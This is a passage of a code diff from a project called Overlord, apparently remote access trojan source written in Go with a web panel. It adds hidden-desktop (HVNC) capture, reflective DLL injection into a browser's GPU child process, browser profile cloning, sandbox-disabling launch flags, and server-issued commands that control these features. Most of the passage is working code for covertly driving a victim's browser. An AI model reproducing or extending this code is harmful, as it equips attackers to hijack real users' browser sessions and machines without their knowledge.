+ hdr2 := (*hvncFrameHeader)(unsafe.Pointer(fullView))
+
+ evtName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", hvncEventPrefix, pid))
+ evtHandle, _, _ := procOpenEventW.Call(
+ SYNCHRONIZE,
+ 0,
+ uintptr(unsafe.Pointer(evtName)),
+ )
+
+ r := &hvncFrameReader{
+ pid: pid,
+ shmHandle: shmHandle,
+ shmView: unsafe.Pointer(fullView),
+ shmSize: fullSize,
+ evtHandle: evtHandle,
+ }
+ hvncFrameReaders[pid] = r
+
+ log.Printf("hvnc dxgi: opened shared memory for PID %d (%dx%d, %d bytes)",
+ pid, hdr2.Width, hdr2.Height, fullSize)
+ return r
+}
+
+func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
+ r.mu.Lock()
+ defer r.mu.Unlock()
+
+ if r.shmView == nil {
+ return 0, 0, false
+ }
+
+ hdr := (*hvncFrameHeader)(r.shmView)
+ if hdr.Magic != hvncFrameMagic || hdr.Version != hvncFrameVersion {
+ return 0, 0, false
+ }
+
+ w = int(hdr.Width)
+ h = int(hdr.Height)
+ stride := int(hdr.Stride)
+
+ if w <= 0 || h <= 0 || w > 7680 || h > 4320 || stride <= 0 || stride > 7680*4 {
+ return 0, 0, false
+ }
+
+ dstStride := w * 4
+ if stride < dstStride {
+ return 0, 0, false // stride must be >= w*4
+ }
+
+ needed := w * h * 4
+ if len(dst) < needed {
+ return 0, 0, false
+ }
+
+ totalNeeded := uintptr(hvncFrameHeaderSize) + uintptr(stride)*uintptr(h)
+ if totalNeeded > r.shmSize {
+ r.remap(w, h, stride)
+ if r.shmView == nil {
+ return 0, 0, false
+ }
+ hdr = (*hvncFrameHeader)(r.shmView)
+ if hdr.Magic != hvncFrameMagic || int(hdr.Width) != w || int(hdr.Height) != h {
+ return 0, 0, false
+ }
+ }
+
+ pixelData := unsafe.Add(r.shmView, hvncFrameHeaderSize)
+ srcSize := stride * h
+ src := unsafe.Slice((*byte)(pixelData), srcSize)
+
+ for y := 0; y < h; y++ {
+ srcOff := y * stride
+ dstOff := y * dstStride
+ copy(dst[dstOff:dstOff+dstStride], src[srcOff:srcOff+dstStride])
+ }
+
+ seq := hdr.FrameSeq
+ if seq != r.lastSeq {
+ r.lastSeq = seq
+ r.staleCount = 0
+ } else {
+ r.staleCount++
+ }
+
+ return w, h, true
+}
+
+func (r *hvncFrameReader) remap(w, h, stride int) {
+ if r.shmView != nil {
+ procUnmapViewOfFile.Call(uintptr(r.shmView))
+ r.shmView = nil
+ }
+
+ newSize := uintptr(hvncFrameHeaderSize) + uintptr(stride)*uintptr(h)
+ view, _, _ := procMapViewOfFile.Call(
+ r.shmHandle,
+ FILE_MAP_READ,
+ 0, 0,
+ newSize,
+ )
+ if view == 0 {
+ return
+ }
+ r.shmView = unsafe.Pointer(view)
+ r.shmSize = newSize
+}
+
+func (r *hvncFrameReader) close() {
+ r.mu.Lock()
+ defer r.mu.Unlock()
+
+ if r.shmView != nil {
+ procUnmapViewOfFile.Call(uintptr(r.shmView))
+ r.shmView = nil
+ }
+ if r.shmHandle != 0 {
+ procCloseHandle.Call(r.shmHandle)
+ r.shmHandle = 0
+ }
+ if r.evtHandle != 0 {
+ procCloseHandle.Call(r.evtHandle)
+ r.evtHandle = 0
+ }
+}
+
+func hvncCleanupFrameReaders() {
+ hvncFrameReadersMu.Lock()
+ defer hvncFrameReadersMu.Unlock()
+
+ for pid, r := range hvncFrameReaders {
+ r.close()
+ delete(hvncFrameReaders, pid)
+ }
+ for k := range hvncGPUPIDMap {
+ delete(hvncGPUPIDMap, k)
+ }
+}
+
+var (
+ hvncInjectedPIDs = make(map[uint32]time.Time)
+ hvncInjectedPIDsMu sync.Mutex
+)
+
+func hvncRegisterInjectedPID(pid uint32) {
+ hvncInjectedPIDsMu.Lock()
+ hvncInjectedPIDs[pid] = time.Now()
+ hvncInjectedPIDsMu.Unlock()
+}
+
+func hvncGetInjectedPIDs() []uint32 {
+ hvncInjectedPIDsMu.Lock()
+ defer hvncInjectedPIDsMu.Unlock()
+ pids := make([]uint32, 0, len(hvncInjectedPIDs))
+ for pid := range hvncInjectedPIDs {
+ pids = append(pids, pid)
+ }
+ return pids
+}
+
+func hvncUnregisterInjectedPID(pid uint32) {
+ hvncInjectedPIDsMu.Lock()
+ delete(hvncInjectedPIDs, pid)
+ hvncInjectedPIDsMu.Unlock()
+}
+
+func parseHVNCFrameHeader(data []byte) (*hvncFrameHeader, bool) {
+ if len(data) < hvncFrameHeaderSize {
+ return nil, false
+ }
+ hdr := &hvncFrameHeader{
+ Magic: binary.LittleEndian.Uint32(data[0:4]),
+ Version: binary.LittleEndian.Uint32(data[4:8]),
+ Width: binary.LittleEndian.Uint32(data[8:12]),
+ Height: binary.LittleEndian.Uint32(data[12:16]),
+ Stride: binary.LittleEndian.Uint32(data[16:20]),
+ Format: binary.LittleEndian.Uint32(data[20:24]),
+ FrameSeq: binary.LittleEndian.Uint64(data[24:32]),
+ TimestampNs: binary.LittleEndian.Uint64(data[32:40]),
+ PID: binary.LittleEndian.Uint32(data[40:44]),
+ Reserved: binary.LittleEndian.Uint32(data[44:48]),
+ }
+ if hdr.Magic != hvncFrameMagic {
+ return nil, false
+ }
+ return hdr, true
+}
diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go
index 024a818..5973b6b 100644
--- a/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go
+++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go
@@ -4,16 +4,16 @@ package capture
import "errors"
-func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string) error {
+func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error {
return errors.New("HVNC injection not supported on this platform")
}
-func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
+func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
return errors.New("HVNC injection not supported on this platform")
}
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
-func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error {
+func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error {
return errors.New("HVNC injection not supported on this platform")
}
diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go
index c952bfc..ecb5e15 100644
--- a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go
+++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go
@@ -99,7 +99,7 @@ func enableDebugPrivilege() {
// StartHVNCProcessInjected starts a process suspended on the HVNC desktop,
// injects the reflective DLL, then resumes it.
// searchPath/replacePath are passed as environment variables for the DLL hooks.
-func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string) error {
+func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error {
if filePath == "" {
return fmt.Errorf("empty file path")
}
@@ -108,11 +108,12 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, repl
}
result, err := executeHVNCTask(hvncTask{
- kind: hvncTaskStartProcessInjected,
- filePath: filePath,
- dllBytes: dllBytes,
- searchPath: searchPath,
- replacePath: replacePath,
+ kind: hvncTaskStartProcessInjected,
+ filePath: filePath,
+ dllBytes: dllBytes,
+ captureDllBytes: captureDllBytes,
+ searchPath: searchPath,
+ replacePath: replacePath,
}, 30*time.Second)
if err != nil {
return err
@@ -124,7 +125,7 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, repl
// If clone is true, it clones the real profile so file I/O is redirected to the clone.
// If clone is false, it starts the browser with injection but no path redirection.
// browser should be one of: "chrome", "brave", "edge".
-func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error {
+func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error {
info, ok := browserInfoMap[strings.ToLower(browser)]
if !ok {
return fmt.Errorf("unknown browser %q", browser)
@@ -151,7 +152,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
if !clone {
log.Printf("hvnc %s: starting without profile cloning", info.name)
- return StartHVNCProcessInjected(exePath, dllBytes, "", "")
+ return StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "")
}
realUserData := getBrowserUserDataDir(info)
@@ -188,12 +189,12 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
}
}
- return StartHVNCProcessInjected(exePath, dllBytes, realUserData, cloneDir)
+ return StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir)
}
// StartHVNCChromeInjected is kept for backward compatibility.
-func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
- return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true, false, true, nil)
+func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
+ return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, nil)
}
type browserInfo struct {
@@ -660,7 +661,7 @@ func calcDirSize(dir string) int64 {
return total
}
-func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string) error {
+func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error {
if filePath == "" {
return fmt.Errorf("empty file path")
}
@@ -712,9 +713,161 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPa
procCloseHandle.Call(hThread)
log.Printf("hvnc inject: process PID %d resumed with DLL hooks active", pid)
+
+ if len(captureDllBytes) > 0 {
+ go hvncDeferredGPUInject(pid, captureDllBytes)
+ }
+
return nil
}
+func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
+ time.Sleep(4 * time.Second)
+
+ for attempt := 0; attempt < 15; attempt++ {
+ gpuPID, err := findGPUChildProcess(browserPID)
+ if err != nil {
+ log.Printf("hvnc inject: GPU child not found for PID %d (attempt %d): %v", browserPID, attempt, err)
+ time.Sleep(2 * time.Second)
+ continue
+ }
+
+ log.Printf("hvnc inject: found GPU child process PID %d for browser PID %d", gpuPID, browserPID)
+
+ hProcess, _, _ := procOpenProcess.Call(PROCESS_ALL_ACCESS_INJ, 0, uintptr(gpuPID))
+ if hProcess == 0 {
+ log.Printf("hvnc inject: failed to open GPU process PID %d", gpuPID)
+ return
+ }
+
+ if err := reflectiveInject(hProcess, captureDllBytes); err != nil {
+ log.Printf("hvnc inject: HVNCCapture DLL injection into GPU PID %d failed: %v", gpuPID, err)
+ procCloseHandle.Call(hProcess)
+ return
+ }
+ procCloseHandle.Call(hProcess)
+
+ log.Printf("hvnc inject: HVNCCapture DLL injected into GPU PID %d", gpuPID)
+ hvncRegisterInjectedPID(gpuPID)
+ hvncRegisterGPUPID(browserPID, gpuPID)
+ return
+ }
+
+ log.Printf("hvnc inject: gave up finding GPU child for browser PID %d", browserPID)
+}
+
+func findGPUChildProcess(parentPID uint32) (uint32, error) {
+ children := findChildPIDs(parentPID)
+ if len(children) == 0 {
+ return 0, fmt.Errorf("no child processes")
+ }
+
+ for _, childPID := range children {
+ if hasLoadedModule(childPID, "d3d11.dll") {
+ return childPID, nil
+ }
+ }
+
+ return 0, fmt.Errorf("none of %d children have d3d11.dll", len(children))
+}
+
+type processEntry32W struct {
+ Size uint32
+ CntUsage uint32
+ ProcessID uint32
+ DefaultHeapID uintptr
+ ModuleID uint32
+ CntThreads uint32
+ ParentProcessID uint32
+ PriClassBase int32
+ Flags uint32
+ ExeFile [260]uint16
+}
+
+type moduleEntry32W struct {
+ Size uint32
+ ModuleID uint32
+ ProcessID uint32
+ GlblcntUsage uint32
+ ProccntUsage uint32
+ ModBaseAddr uintptr
+ ModBaseSize uint32
+ HModule uintptr
+ SzModule [256]uint16
+ SzExePath [260]uint16
+}
+
+var (
+ procCreateToolhelp32Snapshot = kernel32.NewProc("CreateToolhelp32Snapshot")
+ procProcess32FirstW = kernel32.NewProc("Process32FirstW")
+ procProcess32NextW = kernel32.NewProc("Process32NextW")
+ procModule32FirstW = kernel32.NewProc("Module32FirstW")
+ procModule32NextW = kernel32.NewProc("Module32NextW")
+)
+
+const (
+ TH32CS_SNAPPROCESS = 0x00000002
+ TH32CS_SNAPMODULE = 0x00000008
+ TH32CS_SNAPMODULE32 = 0x00000010
+)
+
+func findChildPIDs(parentPID uint32) []uint32 {
+ snap, _, _ := procCreateToolhelp32Snapshot.Call(TH32CS_SNAPPROCESS, 0)
+ if snap == 0 || snap == ^uintptr(0) {
+ return nil
+ }
+ defer procCloseHandle.Call(snap)
+
+ var entry processEntry32W
+ entry.Size = uint32(unsafe.Sizeof(entry))
+ ret, _, _ := procProcess32FirstW.Call(snap, uintptr(unsafe.Pointer(&entry)))
+ if ret == 0 {
+ return nil
+ }
+
+ var children []uint32
+ for {
+ if entry.ParentProcessID == parentPID && entry.ProcessID != parentPID {
+ children = append(children, entry.ProcessID)
+ }
+ entry.Size = uint32(unsafe.Sizeof(entry))
+ ret, _, _ = procProcess32NextW.Call(snap, uintptr(unsafe.Pointer(&entry)))
+ if ret == 0 {
+ break
+ }
+ }
+ return children
+}
+
+func hasLoadedModule(pid uint32, moduleName string) bool {
+ snap, _, _ := procCreateToolhelp32Snapshot.Call(TH32CS_SNAPMODULE|TH32CS_SNAPMODULE32, uintptr(pid))
+ if snap == 0 || snap == ^uintptr(0) {
+ return false
+ }
+ defer procCloseHandle.Call(snap)
+
+ var entry moduleEntry32W
+ entry.Size = uint32(unsafe.Sizeof(entry))
+ ret, _, _ := procModule32FirstW.Call(snap, uintptr(unsafe.Pointer(&entry)))
+ if ret == 0 {
+ return false
+ }
+
+ target := strings.ToLower(moduleName)
+ for {
+ name := strings.ToLower(syscall.UTF16ToString(entry.SzModule[:]))
+ if name == target {
+ return true
+ }
+ entry.Size = uint32(unsafe.Sizeof(entry))
+ ret, _, _ = procModule32NextW.Call(snap, uintptr(unsafe.Pointer(&entry)))
+ if ret == 0 {
+ break
+ }
+ }
+ return false
+}
+
func terminateProcess(hProcess uintptr) {
kernel32.NewProc("TerminateProcess").Call(hProcess, 1)
}
@@ -771,7 +924,7 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName
}
baseName := strings.ToLower(filepath.Base(filePath))
if browserExes[baseName] {
- args += " --no-sandbox --allow-no-sandbox-job --disable-gpu"
+ args += " --no-sandbox --allow-no-sandbox-job --disable-gpu-sandbox"
} else if baseName == "firefox.exe" {
args += " -no-remote -wait-for-browser"
}
diff --git a/Overlord-Client/cmd/agent/capture/hvnc_stub.go b/Overlord-Client/cmd/agent/capture/hvnc_stub.go
index 824b705..d29d295 100644
--- a/Overlord-Client/cmd/agent/capture/hvnc_stub.go
+++ b/Overlord-Client/cmd/agent/capture/hvnc_stub.go
@@ -15,6 +15,10 @@ func CleanupHVNCDesktop() {}
func SetHVNCCursorCapture(enabled bool) {}
+func SetHVNCDXGIEnabled(enabled bool) {}
+
+func GetHVNCDXGIEnabled() bool { return false }
+
func hvncCaptureDisplay(display int) (*image.RGBA, error) {
return nil, errors.New("HVNC not supported on this platform")
}
diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go
index 95333d3..3e165ce 100644
--- a/Overlord-Client/cmd/agent/capture/hvnc_windows.go
+++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go
@@ -203,20 +203,21 @@ const (
)
type hvncTask struct {
- kind hvncTaskKind
- id uint64
- display int
- filePath string
- x int32
- y int32
- button int
- vk uint16
- delta int32
- dllBytes []byte
- searchPath string
- replacePath string
- queuedAt time.Time
- resp chan hvncTaskResult
+ kind hvncTaskKind
+ id uint64
+ display int
+ filePath string
+ x int32
+ y int32
+ button int
+ vk uint16
+ delta int32
+ dllBytes []byte
+ captureDllBytes []byte
+ searchPath string
+ replacePath string
+ queuedAt time.Time
+ resp chan hvncTaskResult
}
type hvncTaskResult struct {
@@ -360,6 +361,10 @@ func CleanupHVNCDesktop() {
hvncDesktopMu.Lock()
defer hvncDesktopMu.Unlock()
+ hvncCleanupFrameReaders()
+
+ hvncFreeCapCache()
+
for _, entry := range hvncWinCache {
hvncFreeCacheEntry(entry)
}
@@ -475,7 +480,7 @@ func ensureHVNCThread() error {
case hvncTaskStartProcess:
result.err = startHVNCProcessOnThread(task.filePath)
case hvncTaskStartProcessInjected:
- result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.searchPath, task.replacePath)
+ result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath)
case hvncTaskMouseMove:
result.err = hvncMouseMoveOnThread(task.display, task.x, task.y)
case hvncTaskMouseDown:
@@ -710,6 +715,82 @@ func hvncTaskDetails(task hvncTask) string {
}
}
+var (
+ hvncCapHDCScreen uintptr
+ hvncCapHDCMem uintptr
+ hvncCapHBMP uintptr
+ hvncCapBits unsafe.Pointer
+ hvncCapW int
+ hvncCapH int
+ hvncCapImg *image.RGBA
+)
+
+func hvncFreeCapCache() {
+ if hvncCapHBMP != 0 {
+ deleteObject(hvncCapHBMP)
+ hvncCapHBMP = 0
+ }
+ if hvncCapHDCMem != 0 {
+ deleteDC(hvncCapHDCMem)
+ hvncCapHDCMem = 0
+ }
+ if hvncCapHDCScreen != 0 {
+ releaseDC(0, hvncCapHDCScreen)
+ hvncCapHDCScreen = 0
+ }
+ hvncCapBits = nil
+ hvncCapW = 0
+ hvncCapH = 0
+ hvncCapImg = nil
+}
+
+func hvncEnsureCapCache(w, h int) (uintptr, uintptr, []byte, bool) {
+ if hvncCapHDCScreen == 0 {
+ hvncCapHDCScreen = getDC(0)
+ if hvncCapHDCScreen == 0 {
+ return 0, 0, nil, false
+ }
+ }
+ if hvncCapHDCMem != 0 && hvncCapW == w && hvncCapH == h && hvncCapBits != nil {
+ buf := unsafe.Slice((*byte)(hvncCapBits), w*h*4)
+ return hvncCapHDCScreen, hvncCapHDCMem, buf, true
+ }
+ if hvncCapHBMP != 0 {
+ deleteObject(hvncCapHBMP)
+ hvncCapHBMP = 0
+ }
+ if hvncCapHDCMem != 0 {
+ deleteDC(hvncCapHDCMem)
+ hvncCapHDCMem = 0
+ }
+ hvncCapHDCMem = createCompatibleDC(hvncCapHDCScreen)
+ if hvncCapHDCMem == 0 {
+ return 0, 0, nil, false
+ }
+ bmi := bitmapInfo{
+ bmiHeader: bitmapInfoHeader{
+ biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
+ biWidth: int32(w),
+ biHeight: -int32(h),
+ biPlanes: 1,
+ biBitCount: 32,
+ biCompression: BI_RGB,
+ },
+ }
+ hvncCapHBMP = createDIBSection(hvncCapHDCMem, &bmi, DIB_RGB_COLORS, &hvncCapBits)
+ if hvncCapHBMP == 0 || hvncCapBits == nil {
+ deleteDC(hvncCapHDCMem)
+ hvncCapHDCMem = 0
+ return 0, 0, nil, false
+ }
+ selectObject(hvncCapHDCMem, hvncCapHBMP)
+ hvncCapW = w
+ hvncCapH = h
+ hvncCapImg = nil
+ buf := unsafe.Slice((*byte)(hvncCapBits), w*h*4)
+ return hvncCapHDCScreen, hvncCapHDCMem, buf, true
+}
+
func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
captureMu.Lock()
defer captureMu.Unlock()
@@ -748,36 +829,11 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
capW := srcW
capH := srcH
- hdcScreen := getDC(0)
- if hdcScreen == 0 {
+ hdcScreen, hdcMem, buf, ok := hvncEnsureCapCache(capW, capH)
+ if !ok {
return nil, syscall.EINVAL
}
- defer releaseDC(0, hdcScreen)
- hdcMem := createCompatibleDC(hdcScreen)
- if hdcMem == 0 {
- return nil, syscall.EINVAL
- }
- defer deleteDC(hdcMem)
-
- bmi := bitmapInfo{
- bmiHeader: bitmapInfoHeader{
- biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
- biWidth: int32(capW),
- biHeight: -int32(capH),
- biPlanes: 1,
- biBitCount: 32,
- biCompression: BI_RGB,
- },
- }
- var bits unsafe.Pointer
- hbmp := createDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &bits)
- if hbmp == 0 || bits == nil {
- return nil, syscall.EINVAL
- }
- selectObject(hdcMem, hbmp)
-
- buf := unsafe.Slice((*byte)(bits), capW*capH*4)
for i := range buf {
buf[i] = 0
}
@@ -792,14 +848,15 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
}
swapRB(buf)
- img := image.NewRGBA(image.Rect(0, 0, capW, capH))
+
+ img := hvncCapImg
+ if img == nil || img.Bounds().Dx() != capW || img.Bounds().Dy() != capH {
+ img = image.NewRGBA(image.Rect(0, 0, capW, capH))
+ hvncCapImg = img
+ }
copy(img.Pix, buf)
- deleteObject(hbmp)
-
- if hvncCursorEnabled {
- DrawCursorOnImage(img, bounds)
- }
+ _ = hdcMem
if dstW != capW || dstH != capH {
img = resizeNearest(img, dstW, dstH)
@@ -1571,6 +1628,95 @@ func hvncFreeCacheEntry(entry *hvncWinCacheEntry) {
}
}
+var dxgiFrameBuf []byte
+
+var hvncDXGIEnabled atomic.Bool
+
+func init() {
+ hvncDXGIEnabled.Store(true) // enabled by default
+}
+
+func SetHVNCDXGIEnabled(enabled bool) {
+ hvncDXGIEnabled.Store(enabled)
+}
+
+func GetHVNCDXGIEnabled() bool {
+ return hvncDXGIEnabled.Load()
+}
+
+func drawHVNCWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, bounds image.Rectangle, target []byte, targetStride int) bool {
+ if !hvncDXGIEnabled.Load() {
+ return false
+ }
+ var pid uint32
+ procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid)))
+ if pid == 0 {
+ return false
+ }
+
+ reader := hvncGetFrameReader(pid)
+ if reader == nil {
+ hvncFrameReadersMu.Lock()
+ gpuPID := hvncGPUPIDMap[pid]
+ hvncFrameReadersMu.Unlock()
+ if gpuPID != 0 {
+ reader = hvncGetFrameReader(gpuPID)
+ }
+ }
+ if reader == nil {
+ return false
+ }
+
+ needed := winW * winH * 4
+ if cap(dxgiFrameBuf) < needed {
+ dxgiFrameBuf = make([]byte, needed)
+ }
+ buf := dxgiFrameBuf[:needed]
+
+ frameW, frameH, ok := reader.readFrame(buf)
+ if !ok {
+ return false
+ }
+
+ copyW := minInt(winW, frameW)
+ copyH := minInt(winH, frameH)
+ if copyW <= 0 || copyH <= 0 {
+ return false
+ }
+
+ srcStride := frameW * 4
+ winStride := winW * 4
+
+ effWinLeft := winLeft
+ effWinTop := winTop
+ effWinRight := winLeft + copyW
+ effWinBottom := winTop + copyH
+
+ interLeft := maxInt(effWinLeft, bounds.Min.X)
+ interTop := maxInt(effWinTop, bounds.Min.Y)
+ interRight := minInt(effWinRight, bounds.Max.X)
+ interBottom := minInt(effWinBottom, bounds.Max.Y)
+ if interRight <= interLeft || interBottom <= interTop {
+ return false
+ }
+
+ srcX := interLeft - winLeft
+ srcY := interTop - winTop
+ dstX := interLeft - bounds.Min.X
+ dstY := interTop - bounds.Min.Y
+ blitW := interRight - interLeft
+ blitH := interBottom - interTop
+
+ for y := 0; y < blitH; y++ {
+ srcStart := (srcY+y)*srcStride + srcX*4
+ dstStart := (dstY+y)*targetStride + dstX*4
+ copy(target[dstStart:dstStart+blitW*4], buf[srcStart:srcStart+blitW*4])
+ }
+
+ _ = winStride
+ return true
+}
+
func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool {
if !isWindowVisible(hwnd) {
return false
@@ -1597,6 +1743,10 @@ func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []by
return false
}
+ if drawn := drawHVNCWindowFromDXGI(hwnd, winLeft, winTop, winW, winH, bounds, target, targetStride); drawn {
+ return true
+ }
+
// Use pooled DC+DIB from cache
entry := hvncGetOrCreateCache(hdcScreen, hwnd, winW, winH)
if entry == nil {
diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go
index 30f344f..1094349 100644
--- a/Overlord-Client/cmd/agent/handlers/command.go
+++ b/Overlord-Client/cmd/agent/handlers/command.go
@@ -470,6 +470,21 @@ func extractDLLBytes(payload map[string]interface{}) []byte {
return nil
}
+func extractCaptureDLLBytes(payload map[string]interface{}) []byte {
+ if payload == nil {
+ return nil
+ }
+ switch v := payload["capture_dll"].(type) {
+ case []byte:
+ return v
+ case string:
+ if len(v) > 0 {
+ return []byte(v)
+ }
+ }
+ return nil
+}
+
func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
cmdID, _ := envelope["id"].(string)
action, _ := envelope["commandType"].(string)
@@ -977,6 +992,30 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
_ = HVNCCursorControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
+ case "hvnc_enable_dxgi":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ dxgiEnabled := true
+ if payload != nil {
+ if v, ok := payload["enabled"].(bool); ok {
+ dxgiEnabled = v
+ }
+ }
+ log.Printf("hvnc: DXGI capture %v", dxgiEnabled)
+ capture.SetHVNCDXGIEnabled(dxgiEnabled)
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "hvnc_set_resolution":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ maxH := 1080
+ if payload != nil {
+ if v, ok := payloadInt(payload, "maxHeight"); ok {
+ maxH = v
+ }
+ }
+ log.Printf("hvnc: set resolution maxHeight=%d", maxH)
+ capture.SetMaxResolution(maxH)
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
case "hvnc_set_quality":
payload, _ := envelope["payload"].(map[string]interface{})
quality := 90
@@ -1437,10 +1476,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
return nil
}
- log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d", filePath, searchPath, replacePath, len(dllBytes))
+ captureDllBytes := extractCaptureDLLBytes(payload)
+ log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, len(dllBytes), len(captureDllBytes))
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_process_injected", nil, func() {
- if err := capture.StartHVNCProcessInjected(filePath, dllBytes, searchPath, replacePath); err != nil {
+ if err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath); err != nil {
log.Printf("hvnc: injected process failed for %q: %v", filePath, err)
}
})
@@ -1460,9 +1500,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return nil
}
log.Printf("hvnc: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes))
+ captureDllBytes := extractCaptureDLLBytes(payload)
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_chrome_injected", nil, func() {
- if err := capture.StartHVNCChromeInjected(chromePath, dllBytes); err != nil {
+ if err := capture.StartHVNCChromeInjected(chromePath, dllBytes, captureDllBytes); err != nil {
log.Printf("hvnc: chrome injected failed: %v", err)
}
})
@@ -1502,6 +1543,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return nil
}
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, len(dllBytes))
+ captureDllBytes := extractCaptureDLLBytes(payload)
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_browser_injected", nil, func() {
var onProgress capture.CloneProgressFunc
@@ -1517,7 +1559,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
})
}
}
- if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, killIfRunning, onProgress); err != nil {
+ if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, onProgress); err != nil {
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
}
})
diff --git a/Overlord-Client/cmd/agent/handlers/hvnc.go b/Overlord-Client/cmd/agent/handlers/hvnc.go
index cf22201..1aca3ea 100644
--- a/Overlord-Client/cmd/agent/handlers/hvnc.go
+++ b/Overlord-Client/cmd/agent/handlers/hvnc.go
@@ -27,7 +27,7 @@ func GetPersistedHVNCDisplay() int {
}
func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
- interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 30)
+ interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 120)
capture.SetH264TargetFPS(fps)
log.Printf("hvnc: starting stream (max fps %d)", fps)
diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js
index 13540b5..4f6c3df 100644
--- a/Overlord-Server/public/assets/hvnc.js
+++ b/Overlord-Server/public/assets/hvnc.js
@@ -58,7 +58,6 @@ import { checkFeatureAccess } from "./feature-gate.js";
const fullscreenBtn = document.getElementById("fullscreenBtn");
const mouseCtrl = document.getElementById("mouseCtrl");
const kbdCtrl = document.getElementById("kbdCtrl");
